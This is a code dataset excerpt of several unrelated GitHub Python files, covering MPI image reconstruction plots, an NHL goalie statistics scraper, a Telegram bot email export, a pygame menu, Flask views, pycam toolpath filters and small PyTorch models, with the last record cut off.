outHfen, inpOutNorms, inpOutNrmses, outMax, l1Obj, TVobj, critObj = theADMMclass.ADMMreconDual(\n datatC, fnc2, fnc3, epsilon, refVals, mu2Scale=1, muScaleIter=muScaleIter, x_in=x_in)\n\n outImgs.append(x_rec)\n outDiags.append(outDiag)\n outMaxs.append(outMax)\n outPsnrs.append(outPsnr)\n outHfens.append(outHfen)\n outL1Obj.append(l1Obj)\n outTVobj.append(TVobj)\n outCritobj.append(critObj)\n outNetworkNorms.append(inpOutNorms)\n outNetworkNrmses.append(inpOutNrmses)\n print('Elapsed time for this method is {0:.2f} s.'.format(time.time()-startTime))\n gc.collect()\n torch.cuda.empty_cache()\n\nstartTime = time.time()\nprint(\"Run Reconstruction for: ART\")\nxART = ART(AtC, datatC, 5, 1e-2)\nprint('Elapsed time for this method is {0:.2f} s.'.format(time.time()-startTime))\n\n### Plot images\n### \n### \n\ndef showImg(x, selAxes = 0):\n theRes = (n1, n2, n3)\n if x.numel() < n1 * n2 * n3:\n theRes = (19, 19, 19)\n if selAxes == 1:\n return x.cpu().reshape(theRes)[:,:,theRes[0] // 2].squeeze()\n elif selAxes == 2:\n return x.cpu().reshape(theRes)[:,theRes[0] // 2 - 1,:].squeeze()\n else:\n return x.cpu().reshape(theRes)[theRes[0] // 2,:,:].squeeze()\n\nfor selAxes in range(3):\n fontsize = 25\n plt.figure(figsize=(20,12))\n plt.subplot(len(descriptors)//4+1,4,1)\n plt.imshow(showImg(xART, selAxes = selAxes),cmap='gray')\n plt.clim((0,0.2))\n plt.axis('off')\n plt.title('ART', fontdict = {'fontsize' : fontsize})\n for idx, desc in enumerate(descriptorsHere):\n plt.subplot(len(descriptors)//4+1,4,idx+2)\n plt.imshow(showImg(outImgs[idx], selAxes = selAxes),cmap='gray')\n plt.clim((0,0.2))\n # plt.colorbar()\n plt.axis('off')\n if 'ppmpi' in desc and '(-1' not in desc:\n title = 'PP-MPI (Single Slice)'\n elif 'ppmpi' in desc and '(-1' in desc:\n title = 'PP-MPI (All Slices)'\n elif 'E2E' in desc:\n title = 'E2E'\n elif 'L1_TV' in desc:\n title = 'ADMM (ℓ1&TV)'\n elif 'L1' in desc:\n title = 'ADMM (ℓ1)'\n elif 'TV' in desc:\n title = 'ADMM (TV)'\n plt.title(title, fontdict = {'fontsize' : fontsize})\n plt.subplots_adjust(wspace=0.1, hspace=0.05)\n plt.show()\n plt.savefig(\"inferenceOut_ax{}.png\".format(selAxes))\n\n### Plot objective values\n### \n### \n\ndef printFnc(x):\n return x[0].reshape(n1,n2).cpu().T\n\ndef selFnc(x):\n return x[0, 1:]\n\ndef selFnc(x):\n try:\n if len(x.shape) > 1:\n return x[:, 1:].mean(0)\n elif len(x.shape) == 1:\n return x.mean(0).repeat(MaxIter - 1)\n else:\n return x.repeat(MaxIter - 1)\n except:\n return np.zeros(1).repeat(MaxIter-1)\n\nnamesOrdered = copy.deepcopy(descriptorsHere)\n \nfor d, e, epsVls in zip(outPsnrs, namesOrdered, outCritobj):\n dSel = selFnc(d)\n dFin = dSel[-1]\n dMax = dSel.max()\n epsVl = round(selFnc(epsVls)[-1], 2)\n print('Final pSNR: ', round(dFin, 2), ' max pSNR: ', round(dMax, 2), ', crit: ', epsVl ,', method: {0:60}'.format(e))\n\nfig_size = (25,20)\nplt.figure(figsize=fig_size)\n\nplt.subplot(3,2,1)\nfor d in outPsnrs:\n plt.plot(selFnc(d))\nplt.title('PSNR')\n\nplt.subplot(3,2,2)\nfor d in outHfens:\n plt.plot(selFnc(d))\nplt.ylim([0, 2])\nplt.title('HFEN')\n\nplt.subplot(3,2,3)\nfor d in outNetworkNrmses:\n plt.plot(selFnc(d))\nplt.title('1st objective(output - input)')\nplt.legend(namesOrdered)\n\nplt.subplot(3,2,4)\nfor d in outL1Obj:\n plt.plot(selFnc(d))\nplt.title('l1Obj')\n\nplt.subplot(3,2,5)\nfor d in outTVobj:\n plt.plot(selFnc(d))\nplt.title('TVObj')\nplt.legend(namesOrdered)\n\nplt.subplot(3,2,6)\nfor d in outCritobj:\n plt.semilogy(selFnc(d))\nplt.title('Criterion')\n\nplt.show()\nplt.savefig(\"inferencePlots.png\")\n","repo_name":"icon-lab/PP-MPI","sub_path":"openMPItest.py","file_name":"openMPItest.py","file_ext":"py","file_size_in_byte":10212,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"2981678532","text":"import requests\nimport json\nfrom scipy.stats.stats import pearsonr\n\n# Separate the url into parts that will change and then\n# we will put them all together later so that we can automatically\n# change the url in a loop\nbaseurl = \"https://statsapi.web.nhl.com/api/v1/game/\"\nyear = 2013\nfinalYear = 2017\t# This is the first year of the last season, so 2017-2018, would just be 2017\ngameType = 2\ngame = 1\ngoalies = []\ndecision = 0\nfileName = \"correlationStats.txt\"\nf = open(fileName,\"w\")\n\nurl = baseurl + str(year) + '{0:02d}'.format(gameType) + '{0:04d}'.format(game) + '/boxscore'\nresponse = requests.get(url).json()\n\nwhile year <= finalYear:\n while (year < 2017 and game <= 1230) or (year <= 2017 and game <= 1271):\n # Go through both home and away teams\n try:\n for teams in response[\"teams\"]:\n # Go through all players\n for players in response[\"teams\"][teams][\"players\"]:\n # Make sure the player is a goalie and they were credited with the win or the loss\n if response[\"teams\"][teams][\"players\"][players][\"position\"][\"abbreviation\"] == \"G\" \\\n and response[\"teams\"][teams][\"players\"][players][\"stats\"][\"goalieStats\"][\"decision\"]:\n try:\n # Make a decision a 0 or 1 instead of L or W\n if response[\"teams\"][teams][\"players\"][players][\"stats\"][\"goalieStats\"][\"decision\"] == \"W\":\n decision = 1\n else:\n decision = 0\n # Check if the player is in the list already, if not, add him\n if not any(e[0] == players[2:] for e in goalies): #not in [i for i, v in enumerate(goalies) if v[0] == players[2:]]:\n # Add the ID, name, save percentage, and decision\n goalies.append([players[2:], \\\n response[\"teams\"][teams][\"players\"][players][\"person\"][\"fullName\"], \\\n [response[\"teams\"][teams][\"players\"][players][\"stats\"][\"goalieStats\"][\"savePercentage\"]],\n [decision]])\n # If they already exist in the list, then we need to update their\n # save percentages and wins/losses\n else:\n # This is a bit hard to read, but all I am doing is searching for the player's ID and\n # getting the first instance of the index (there should only be one). Then, I will append\n # their save percentage and decision to the lists in the tuple\n goalies[[v[0] for v in goalies].index(players[2:])][2].append( \\\n response[\"teams\"][teams][\"players\"][players][\"stats\"][\"goalieStats\"][\"savePercentage\"])\n goalies[[v[0] for v in goalies].index(players[2:])][3].append(decision)\n except KeyError:\n pass\n except KeyError:\n pass\n game = game + 1\n url = baseurl + str(year) + '{0:02d}'.format(gameType) + '{0:04d}'.format(game) + '/boxscore'\n response = requests.get(url).json()\n game = 1\n year = year + 1\n url = baseurl + str(year) + '{0:02d}'.format(gameType) + '{0:04d}'.format(game) + '/boxscore'\n response = requests.get(url).json()\n\nstring = \"Correlations\\n\\n\"\n\nfor goalie in goalies:\n string = string + goalie[1]\n string = string + \"\\n\" + str(len(goalie[2]))\n string = string + \"\\n\" + str(pearsonr(goalie[2],goalie[3])[0]) + \"\\n\\n\"\n\nf.write(string)\n","repo_name":"tomljr2/GoalieSavePWinCorrelation","sub_path":"corr.py","file_name":"corr.py","file_ext":"py","file_size_in_byte":3668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"20631521605","text":"import os\r\n\r\nfrom aiogram.types import Message\r\n\r\nfrom data.config import ADMINS_ID\r\nfrom loader import dp, db, bot\r\n\r\n# async?\r\ndef write_csv(emails: list):\r\n with open('data/emails.csv', 'w') as file:\r\n file.write('\\n'.join(emails))\r\n \r\n \r\n@dp.message_handler(user_id=ADMINS_ID, text='Выгрузить почты в .csv')\r\nasync def send_csv(message: Message):\r\n emails = await db.get_all_emails()\r\n csv_emails = [email['email'] for email in emails if email['email'] != None]\r\n\r\n write_csv(csv_emails)\r\n \r\n with open('data/emails.csv', 'rb') as file:\r\n f = file.read()\r\n \r\n await bot.send_document(message.from_user.id, ('emails.csv', f))\r\n\r\n os.remove('data/emails.csv')\r\n\r\n","repo_name":"toomm17/truepayment_bot","sub_path":"handlers/admins/send_csv.py","file_name":"send_csv.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"17211383049","text":"from buttoncontrol import Button\nimport pygame\nimport os\nimport buttoncontrol\nimport settings\nfrom roomgeneration import room_generation, get_player_spawn\nimport random\n\n# initialise pygame and screen\npygame.init()\nscreen = pygame.display.set_mode((settings.SCREEN_WIDTH, settings.SCREEN_HEIGHT))\n\n# create buttons for menu screens\nstart_button = buttoncontrol.Button(575, 415, pygame.image.load(\"assets/buttons/Start_Button.png\").convert_alpha(), 0.8)\noptions_button = buttoncontrol.Button(565, 615, pygame.image.load(\"assets/buttons/Options_Button.png\").convert_alpha(), 0.8)\nquit_button = buttoncontrol.Button(575, 815, pygame.image.load(\"assets/buttons/Quit_Button.png\").convert_alpha(), 0.8)\ntutorial_button = buttoncontrol.Button(570, 280, pygame.image.load(\"assets/buttons/Tutorial_Button.png\").convert_alpha(), 0.8)\n\nback_button = buttoncontrol.Button(575, 815, pygame.image.load(\"assets/buttons/Back_Button.png\").convert_alpha(), 0.8)\naudio_button = buttoncontrol.Button(575, 615, pygame.image.load(\"assets/buttons/Audio_Settings.png\").convert_alpha(), 0.8)\nvideo_button = buttoncontrol.Button(575, 415, pygame.image.load(\"assets/buttons/Video_Settings.png\").convert_alpha(), 0.8)\nresume_button = buttoncontrol.Button(575, 415, pygame.image.load(\"assets/buttons/Resume_Button.png\").convert_alpha(), 0.8)\n\ntutorial_image = pygame.image.load(\"assets/mainmenu/tutorial.png\").convert_alpha()\n\nvolume_100 = buttoncontrol.Button(575, 215, pygame.image.load(\"assets/buttons/Volume_100%.png\").convert_alpha(), 0.8)\nvolume_50 = buttoncontrol.Button(575, 415, pygame.image.load(\"assets/buttons/Volume_50%.png\").convert_alpha(), 0.8)\nvolume_0 = buttoncontrol.Button(575, 615, pygame.image.load(\"assets/buttons/Volume_0%.png\").convert_alpha(), 0.8)\n\nclass MainMenu:\n # Class for the main menu\n def __init__(self):\n self.width, self.height = settings.SCREEN_WIDTH, settings.SCREEN_HEIGHT\n self.bg = pygame.image.load(\"assets/mainmenu/background.jpg\")\n self.screen = screen\n self.state = \"main\"\n \n def run(self):\n\n run = True\n\n while run:\n self.screen.blit(self.bg, (0, 0))\n\n # menu settings for initial menu\n if self.state == \"main\":\n # If the start button is clicked, start the game\n if start_button.draw(self.screen):\n # Restoring all values to default in order to prevent \n # old values from affecting new game\n self.y, self.x = None, None\n self.coords = None\n room_center_points = None\n spawn_point = None\n room_center_points = room_generation()\n spawn_point = get_player_spawn(room_center_points)\n room_center_points.remove(spawn_point)\n settings.waves_completed = 0\n settings.enemies_killed = 0\n settings.level_count = 1\n settings.player_weapons = ['wooden-sword']\n settings.player_items = ['small-health-potion']\n settings.player_powerups = []\n settings.player_stats = {\n 'damage_multiplier' : 1,\n 'defense' : 1,\n 'health_multiplier' : 1,\n 'speed' : 4,\n }\n \n # preventing circular imports\n from gameloop import Game\n game = Game(self.screen, spawn_point, room_center_points, 0, 0, 1)\n game.game_loop(self.screen)\n del game\n\n # If the options button is clicked, change the state to options (options screen)\n if options_button.draw(self.screen):\n self.state = \"options\"\n # If the quit button is clicked, quit the game\n if quit_button.draw(self.screen):\n run = False\n # If the tutorial button is clicked, change the state to tutorial (tutorial screen)\n if tutorial_button.draw(self.screen):\n self.state = \"tutorial\"\n\n # Options menu allows the user to click on the audio settings button to change the volume\n # or the back button to return to the main menu\n elif self.state == \"options\":\n if audio_button.draw(self.screen):\n self.state = \"audio_settings\"\n if back_button.draw(self.screen):\n self.state = \"main\"\n\n # Tutorial menu shows the user how to play and allows user to return back to the menu\n elif self.state == \"tutorial\":\n self.screen.blit((pygame.transform.scale((tutorial_image), (settings.SCREEN_WIDTH, settings.SCREEN_HEIGHT))), (0, 0))\n if back_button.draw(self.screen):\n self.state = \"main\"\n\n # Audio settings menu allows the user to change the volume of the game\n elif self.state == \"audio_settings\":\n # If the volume 100% button is clicked, set the volume to 100%\n if volume_100.draw(self.screen):\n pygame.mixer.music.set_volume(1)\n \n # If the volume 50% button is clicked, set the volume to 50%\n if volume_50.draw(self.screen):\n pygame.mixer.music.set_volume(0.5)\n\n # If the volume 0% button is clicked, mute the volume\n if volume_0.draw(self.screen):\n pygame.mixer.music.set_volume(0)\n \n # If the back button is clicked, return to the options menu\n if back_button.draw(self.screen):\n self.state = \"options\"\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n break\n\n pygame.display.update()\n\n pygame.quit()\n\n\nclass OptionsMenu:\n # Class for the options menu which can only be reached when pressing escape from within \n # a running game playthrough\n def __init__(self, screen):\n self.width = settings.SCREEN_WIDTH\n self.height = settings.SCREEN_HEIGHT\n self.screen = screen\n self.state = \"main\"\n\n def run(self):\n\n run = True\n\n while run:\n bg = pygame.Surface((self.width, self.height))\n bg.fill([0, 0, 0])\n self.screen.blit(bg, (0, 0))\n\n if self.state == \"main\": # menu settings for initial menu\n if resume_button.draw(self.screen):\n run = False\n if options_button.draw(self.screen):\n self.state = \"options\"\n if quit_button.draw(self.screen):\n self.state = \"quit\"\n\n elif self.state == \"options\": # menu settings within options\n if audio_button.draw(self.screen):\n self.state = \"audio_settings\"\n if back_button.draw(self.screen):\n self.state = \"main\"\n\n elif self.state == \"audio_settings\":\n if volume_100.draw(self.screen):\n pygame.mixer.music.set_volume(1)\n if volume_50.draw(self.screen):\n pygame.mixer.music.set_volume(0.5)\n if volume_0.draw(self.screen):\n pygame.mixer.music.set_volume(0)\n if back_button.draw(self.screen):\n self.state = \"options\"\n\n elif self.state == \"quit\":\n run = False\n main_menu = MainMenu()\n main_menu.run()\n \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n\n pygame.display.update()\n","repo_name":"lierrejh/Coursework-Project","sub_path":"game/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":7926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"33382288517","text":"\"\"\"\nviews.py\n\nurl routing to '/', 'login'\n\"\"\"\n\nfrom flask import render_template, session, redirect, url_for, abort, current_app, flash, request\nfrom flask_login import current_user, login_user, logout_user, login_required\nfrom ..email import send_email #import email message from email.py\nfrom ..models import User\nfrom . import main #import blueprint from main/\nfrom datetime import datetime\nfrom flask_moment import Moment\n\nfrom .forms import InquiryForm, LoginForm, LSTMForm\nfrom ..ai_app import lstm_generate\n\n@main.route('/', methods=['GET', 'POST'])\ndef index():\n form = InquiryForm()\n\n # POST method\n if form.validate_on_submit():\n # send inquiry to email\n send_email(user=form.name.data, email=form.email.data, content=form.content.data)\n return redirect(url_for('.index'))\n\n return render_template('index.html',\n form=form,\n time=datetime.utcnow(),\n originTime=datetime(2017, 5, 1, 0, 0, 0))\n\n\n@main.route('/admin', methods=['GET', 'POST'])\ndef admin():\n form = LoginForm()\n\n # POST method\n if form.validate_on_submit():\n user = User.query.filter_by(email=form.email.data).first()\n # if user is admin, login\n if user.is_administrator() and user.verify_password(form.password.data):\n login_user(user, form.remember_me.data)\n return redirect(request.args.get('next') or url_for('main.index'))\n else:\n flash('Invalid Email or Password, Sorry Dude!')\n return render_template('admin.html', form=form)\n\n\n@main.route('/logout')\n@login_required\ndef logout():\n logout_user()\n flash('You have been logged out')\n return redirect(url_for('main.admin'))\n\n\n\n# for AI Application\n@main.route('/ai', methods=['GET', 'POST'])\ndef ai():\n formLSTM = LSTMForm()\n\n # POST method\n if formLSTM.validate_on_submit():\n seed = formLSTM.seed.data\n\n # generate text\n teori = lstm_generate(seed)\n\n return render_template('ai.html', teori=teori, formLSTM=formLSTM)\n\n\n return render_template('ai.html', formLSTM=formLSTM, teori=\"\")\n","repo_name":"edwardelson/rumahnumerouno","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"24523394784","text":"import decimal\n\nfrom pycam.Toolpath import MOVE_STRAIGHT, MOVE_STRAIGHT_RAPID, MOVE_SAFETY, \\\n MOVES_LIST, MACHINE_SETTING\nfrom pycam.Geometry.PointUtils import padd, psub, pmul, pdist, pnear, \\\n ptransform_by_matrix\nfrom pycam.Geometry.Line import Line\nfrom pycam.Geometry.utils import epsilon\nimport pycam.Utils.log\n\n\nMAX_DIGITS = 12\n\n_log = pycam.Utils.log.get_logger()\n\n\n\"\"\" Toolpath filters are used for applying parameters to generic toolpaths.\n\nA generic toolpath is a simple list of actions.\nEach action is described by a tuple of (TYPE, ARGUMENTS).\nTYPE is usually one of MOVE_STRAIGHT, MOVE_RAPID and MOVE_SAFETY.\nThe other possible types describe machine settings and so on.\nARGUMENTS (in case of moves) is a tuple of x/y/z for the move's destination.\n\"\"\"\n\n\ndef toolpath_filter(our_category, key):\n \"\"\" decorator for toolpath filter functions\n e.g. see pycam.Plugins.ToolTypes\n \"\"\"\n def toolpath_filter_inner(func):\n def get_filter_func(self, category, parameters, previous_filters):\n if (category == our_category):\n if isinstance(key, (list, tuple, set)) and \\\n any([(k in parameters) for k in key]):\n # \"key\" is a list and at least one parameter is found\n arg_dict = {}\n for one_key in key:\n if one_key in parameters:\n arg_dict[one_key] = parameters[one_key]\n result = func(self, **arg_dict)\n elif key in parameters:\n result = func(self, parameters[key])\n else:\n # no match found - ignore\n result = None\n if result:\n previous_filters.extend(result)\n return get_filter_func\n return toolpath_filter_inner\n\n\ndef get_filtered_moves(moves, filters):\n filters = list(filters)\n moves = list(moves)\n filters.sort()\n for one_filter in filters:\n moves |= one_filter\n return moves\n\n\nclass BaseFilter(object):\n\n PARAMS = []\n WEIGHT = 50\n\n def __init__(self, *args, **kwargs):\n self.settings = dict(kwargs)\n # fail if too many arguments (without names) are given\n if len(args) > len(self.PARAMS):\n raise ValueError(\"Too many parameters: \" + \\\n \"%d (expected: %d)\" % (len(args), len(self.PARAMS)))\n # fail if too few arguments (without names) are given\n for index, key in enumerate(self.PARAMS):\n if len(args) > index:\n self.settings[key] = args[index]\n elif key in self.settings:\n # named parameter are ok, as well\n pass\n else:\n raise ValueError(\"Missing parameter: %s\" % str(key))\n\n def clone(self):\n return self.__class__(**self.settings)\n\n def __ror__(self, toolpath):\n # allow to use pycam.Toolpath.Toolpath instances (instead of a list)\n if hasattr(toolpath, \"path\") and hasattr(toolpath, \"filters\"):\n toolpath = toolpath.path\n # use a copy of the list -> changes will be permitted\n _log.debug(\"Applying toolpath filter: %s\" % self.__class__)\n return self.filter_toolpath(list(toolpath))\n\n def __repr__(self):\n class_name = str(self.__class__).split(\"'\")[1].split(\".\")[-1]\n return \"%s(%s)\" % (class_name, self._render_settings())\n\n # comparison functions: they allow to use \"filters.sort()\"\n __eq__ = lambda self, other: self.WEIGHT == other.WEIGHT\n __ne__ = lambda self, other: self.WEIGHT != other.WEIGHT\n __lt__ = lambda self, other: self.WEIGHT < other.WEIGHT\n __le__ = lambda self, other: self.WEIGHT <= other.WEIGHT\n __gt__ = lambda self, other: self.WEIGHT > other.WEIGHT\n __ge__ = lambda self, other: self.WEIGHT >= other.WEIGHT\n\n def _render_settings(self):\n return \", \".join([\"%s=%s\" % (key, self.settings[key])\n for key in self.settings])\n\n def filter_toolpath(self, toolpath):\n raise NotImplementedError(\"The filter class %s failed to \" + \\\n \"implement the 'filter_toolpath' method\" % str(type(self)))\n\n\nclass SafetyHeightFilter(BaseFilter):\n\n PARAMS = (\"safety_height\", )\n WEIGHT = 80\n\n def filter_toolpath(self, toolpath):\n last_pos = None\n max_height = None\n new_path = []\n safety_pending = False\n get_safe = lambda pos: tuple((pos[0], pos[1],\n self.settings[\"safety_height\"]))\n for move_type, args in toolpath:\n if move_type == MOVE_SAFETY:\n safety_pending = True\n elif move_type in (MOVE_STRAIGHT, MOVE_STRAIGHT_RAPID):\n new_pos = tuple(args)\n max_height = max(max_height, new_pos[2])\n if not last_pos:\n # there was a safety move (or no move at all) before\n # -> move sideways\n new_path.append((MOVE_STRAIGHT_RAPID, get_safe(new_pos)))\n elif safety_pending:\n safety_pending = False\n if pnear(last_pos, new_pos, axes=(0, 1)):\n # same x/y position - skip safety move\n pass\n else:\n # go up, sideways and down\n new_path.append((MOVE_STRAIGHT_RAPID,\n get_safe(last_pos)))\n new_path.append((MOVE_STRAIGHT_RAPID,\n get_safe(new_pos)))\n else:\n # we are in the middle of usual moves -> keep going\n pass\n new_path.append((move_type, new_pos))\n last_pos = new_pos\n else:\n # unknown move -> keep it\n new_path.append((move_type, args))\n # process pending safety moves\n if safety_pending and last_pos:\n new_path.append((MOVE_STRAIGHT_RAPID, get_safe(last_pos)))\n if max_height > self.settings[\"safety_height\"]:\n _log.warn(\"Toolpath exceeds safety height: %f => %f\" % \\\n (max_height, self.settings[\"safety_height\"]))\n return new_path\n\n\nclass MachineSetting(BaseFilter):\n\n PARAMS = (\"key\", \"value\")\n WEIGHT = 20\n\n def filter_toolpath(self, toolpath):\n result = []\n # move all previous machine settings\n while toolpath and toolpath[0][0] == MACHINE_SETTING:\n result.append(toolpath.pop(0))\n # add the new setting\n for setting in self._get_settings():\n result.append((MACHINE_SETTING, setting))\n return result + toolpath\n\n def _get_settings(self):\n return [(self.settings[\"key\"], self.settings[\"value\"])]\n\n def _render_settings(self):\n return \"%s=%s\" % (self.settings[\"key\"], self.settings[\"value\"])\n\n\nclass PathMode(MachineSetting):\n\n PARAMS = (\"path_mode\", \"motion_tolerance\", \"naive_tolerance\")\n WEIGHT = 25\n\n def _get_settings(self):\n return [(\"corner_style\",\n (self.settings[\"path_mode\"], self.settings[\"motion_tolerance\"],\n self.settings[\"naive_tolerance\"]))]\n\n def _render_settings(self):\n return \"%d / %d / %d\" % (self.settings[\"path_mode\"],\n self.settings[\"motion_tolerance\"],\n self.settings[\"naive_tolerance\"])\n\n\nclass SelectTool(BaseFilter):\n\n PARAMS = (\"tool_id\", )\n WEIGHT = 35\n\n def filter_toolpath(self, toolpath):\n index = 0\n # skip all non-moves\n while (index < len(toolpath)) and \\\n (not toolpath[0][0] in MOVES_LIST):\n index += 1\n toolpath.insert(index, (MACHINE_SETTING,\n (\"select_tool\", self.settings[\"tool_id\"])))\n return toolpath\n\n\nclass TriggerSpindle(BaseFilter):\n\n PARAMS = (\"delay\", )\n WEIGHT = 40\n\n def filter_toolpath(self, toolpath):\n def enable_spindle(path, index):\n path.insert(index, (MACHINE_SETTING, (\"spindle_enabled\", True)))\n if self.settings[\"delay\"]:\n path.insert(index + 1,\n (MACHINE_SETTING, (\"delay\", self.settings[\"delay\"])))\n def disable_spindle(path, index):\n path.insert(index, (MACHINE_SETTING, (\"spindle_enabled\", False)))\n # find all positions of \"select_tool\"\n tool_changes = [index for index, (move, args) in enumerate(toolpath)\n if (move == MACHINE_SETTING) and (args[0] == \"select_tool\")]\n if tool_changes:\n tool_changes.reverse()\n for index in tool_changes:\n enable_spindle(toolpath, index + 1)\n else:\n for index, (move_type, args) in enumerate(toolpath):\n if move_type in MOVES_LIST:\n enable_spindle(toolpath, index)\n break\n # add \"stop spindle\" just after the last move\n index = len(toolpath) - 1\n while (not toolpath[index][0] in MOVES_LIST) and (index > 0):\n index -= 1\n if toolpath[index][0] in MOVES_LIST:\n disable_spindle(toolpath, index + 1)\n return toolpath\n\n\nclass Crop(BaseFilter):\n\n PARAMS = (\"polygons\", )\n WEIGHT = 90\n\n def filter_toolpath(self, toolpath):\n new_path = []\n last_pos = None\n optional_moves = []\n for move_type, args in toolpath:\n if move_type in (MOVE_STRAIGHT, MOVE_STRAIGHT_RAPID):\n if last_pos:\n # find all remaining pieces of this line\n inner_lines = []\n for polygon in self.settings[\"polygons\"]:\n inner, outer = polygon.split_line(Line(last_pos, args))\n inner_lines.extend(inner)\n # turn these lines into moves\n for line in inner_lines:\n if pdist(line.p1, last_pos) > epsilon:\n new_path.append((MOVE_SAFETY, None))\n new_path.append((move_type, line.p1))\n else:\n # we continue were we left\n if optional_moves:\n new_path.extend(optional_moves)\n optional_moves = []\n new_path.append((move_type, line.p2))\n last_pos = line.p2\n optional_moves = []\n # finish the line by moving to its end (if necessary)\n if pdist(last_pos, args) > epsilon:\n optional_moves.append((MOVE_SAFETY, None))\n optional_moves.append((move_type, args))\n last_pos = args\n elif move_type == MOVE_SAFETY:\n optional_moves = []\n else:\n new_path.append((move_type, args))\n return new_path\n\n\nclass TransformPosition(BaseFilter):\n \"\"\" shift or rotate a toolpath based on a given 3x3 or 3x4 matrix\n \"\"\"\n\n PARAMS = (\"matrix\", )\n WEIGHT = 85\n\n def filter_toolpath(self, toolpath):\n new_path = []\n for move_type, args in toolpath:\n if move_type in (MOVE_STRAIGHT, MOVE_STRAIGHT_RAPID):\n new_pos = ptransform_by_matrix(args, self.settings[\"matrix\"])\n new_path.append((move_type, new_pos))\n else:\n new_path.append((move_type, args))\n return new_path\n\n\nclass TimeLimit(BaseFilter):\n \"\"\" This filter is used for the toolpath simulation. It returns only a\n partial toolpath within a given duration limit.\n \"\"\"\n\n PARAMS = (\"timelimit\", )\n WEIGHT = 100\n\n def filter_toolpath(self, toolpath):\n feedrate = min_feedrate = 1\n new_path = []\n last_pos = None\n limit = self.settings[\"timelimit\"]\n duration = 0\n for move_type, args in toolpath:\n if move_type in (MOVE_STRAIGHT, MOVE_STRAIGHT_RAPID):\n if last_pos:\n new_distance = pdist(args, last_pos)\n new_duration = new_distance / max(feedrate, min_feedrate)\n if (new_duration > 0) and (duration + new_duration > limit):\n partial = (limit - duration) / new_duration\n destination = padd(last_pos, pmul(psub(args, last_pos), partial))\n duration = limit\n else:\n destination = args\n duration += new_duration\n else:\n destination = args\n new_path.append((move_type, destination))\n last_pos = args\n if (move_type == MACHINE_SETTING) and (args[0] == \"feedrate\"):\n feedrate = args[1]\n if duration >= limit:\n break\n return new_path\n\n\nclass MovesOnly(BaseFilter):\n \"\"\" Use this filter for checking if a given toolpath is empty/useless\n (only machine settings, safety moves, ...).\n \"\"\"\n\n WEIGHT = 95\n\n def filter_toolpath(self, toolpath):\n return [item for item in toolpath\n if item[0] in (MOVE_STRAIGHT, MOVE_STRAIGHT_RAPID)]\n\nclass Copy(BaseFilter):\n\n WEIGHT = 100\n\n def filter_toolpath(self, toolpath):\n return toolpath\n\n\ndef _get_num_of_significant_digits(number):\n \"\"\" Determine the number of significant digits of a float number. \"\"\"\n # use only positive numbers\n number = abs(number)\n max_diff = 0.1 ** MAX_DIGITS\n if number <= max_diff:\n # input value is smaller than the smallest usable number\n return MAX_DIGITS\n elif number >= 1:\n # no negative number of significant digits\n return 0\n else:\n for digit in range(1, MAX_DIGITS):\n shifted = number * (10 ** digit)\n if shifted - int(shifted) < max_diff:\n return digit\n else:\n return MAX_DIGITS\n\n\ndef _get_num_converter(step_width):\n \"\"\" Return a float-to-decimal conversion function with a prevision suitable\n for the given step width.\n \"\"\"\n digits = _get_num_of_significant_digits(step_width)\n format_string = \"%%.%df\" % digits\n conv_func = lambda number: decimal.Decimal(format_string % number)\n return conv_func, format_string\n \n\nclass StepWidth(BaseFilter):\n\n PARAMS = (\"step_width_x\", \"step_width_y\", \"step_width_z\")\n NUM_OF_AXES = 3\n WEIGHT = 60\n\n def filter_toolpath(self, toolpath):\n minimum_steps = []\n conv = []\n for key in \"xyz\":\n minimum_steps.append(self.settings[\"step_width_%s\" % key])\n for step_width in minimum_steps:\n conv.append(_get_num_converter(step_width)[0])\n last_pos = None\n path = []\n for move_type, args in toolpath:\n if move_type in (MOVE_STRAIGHT, MOVE_STRAIGHT_RAPID):\n if last_pos:\n diff = [(abs(conv[i](last_pos[i]) - conv[i](args[i])))\n for i in range(3)]\n if all([d < lim for d, lim in zip(diff, minimum_steps)]):\n # too close: ignore this move\n continue\n # TODO: this would also change the GCode output - we want\n # this, but it sadly breaks other code pieces that rely on\n # floats instead of decimals at this point. The output\n # conversion needs to move into the GCode output hook.\n #destination = [conv[i](args[i]) for i in range(3)]\n destination = args\n path.append((move_type, destination))\n last_pos = args\n else:\n # forget \"last_pos\" - we don't know what happened in between\n last_pos = None\n path.append((move_type, args))\n return path\n\n","repo_name":"koning/pycam","sub_path":"pycam/Toolpath/Filters.py","file_name":"Filters.py","file_ext":"py","file_size_in_byte":15928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"68"} +{"seq_id":"73912370135","text":"from torch.nn import Sequential, Conv2d, Sigmoid, ReLU\n\n\nclass NetworkA1(Sequential):\n def __init__(self, channels=6):\n super().__init__(\n Conv2d(channels, out_channels=16, kernel_size=(3, 3), padding=1),\n ReLU(),\n Conv2d(16, 16, kernel_size=(5, 5), padding=2),\n ReLU(),\n Conv2d(16, 32, kernel_size=(7, 7), padding=3),\n ReLU(),\n Conv2d(32, 32, kernel_size=(5, 5), padding=2),\n ReLU(),\n Conv2d(32, channels // 2, kernel_size=(1, 1)),\n Sigmoid()\n )\n","repo_name":"lanPN85/smart-augment","sub_path":"smaug/neta1.py","file_name":"neta1.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"68"} +{"seq_id":"12530331185","text":"from types import SimpleNamespace\nimport copy\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\nfrom utils.model_loading import load_model\n\nuse_cuda = torch.cuda.is_available()\n\nclass mixLL(nn.Module):\n\n def __init__(self, input_size, hidden_size, num_layers, dropout=0):\n super().__init__()\n 